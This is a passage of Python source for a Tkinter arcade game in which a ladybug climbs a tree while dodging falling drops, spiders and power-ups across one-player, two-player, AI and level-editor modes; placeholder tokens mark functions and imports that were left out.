hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n 